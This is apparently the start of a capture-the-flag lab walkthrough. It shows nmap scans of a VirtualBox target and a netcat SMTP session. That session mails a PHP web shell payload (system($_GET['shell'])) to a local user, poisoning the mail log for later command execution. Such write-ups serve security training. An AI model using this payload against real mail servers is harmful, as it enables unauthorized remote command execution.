sudo nmap --min-rate 10000 -p- 192.168.56.123 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 09:05 UTC Nmap scan report for 192.168.56.123 (192.168.56.123) Host is up (0.00034s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 80/tcp open http MAC Address: 08:00:27:0D:43:53 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.24 seconds
sudo nmap -sT -sV -sC -O -p22,25,80 192.168.56.123 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-22 09:06 UTC Nmap scan report for 192.168.56.123 (192.168.56.123) Host is up (0.00045s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 2048 34:55:b2:c3:59:4e:b1:e5:dc:47:bb:73:f6:df:de:43 (RSA) | 256 5a:c3:b8:80:53:27:8f:b4:ef:27:89:c8:e5:a6:1f:81 (ECDSA) |_ 256 08:46:e6:ba:d3:64:31:88:e7:d3:66:94:ce:52:80:35 (ED25519) 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:0D:43:53 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.67 seconds
nc hard 25 220 debian ESMTP Postfix (Debian/GNU) HELO hard 250 debian MAIL FROM:<test> 250 2.1.0 Ok RCPT TO: sabine 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> <?php system($_GET["shell"]) ;?> . 250 2.0.0 Ok: queued as EE29E80ABD QUIT 221 2.0.0 Bye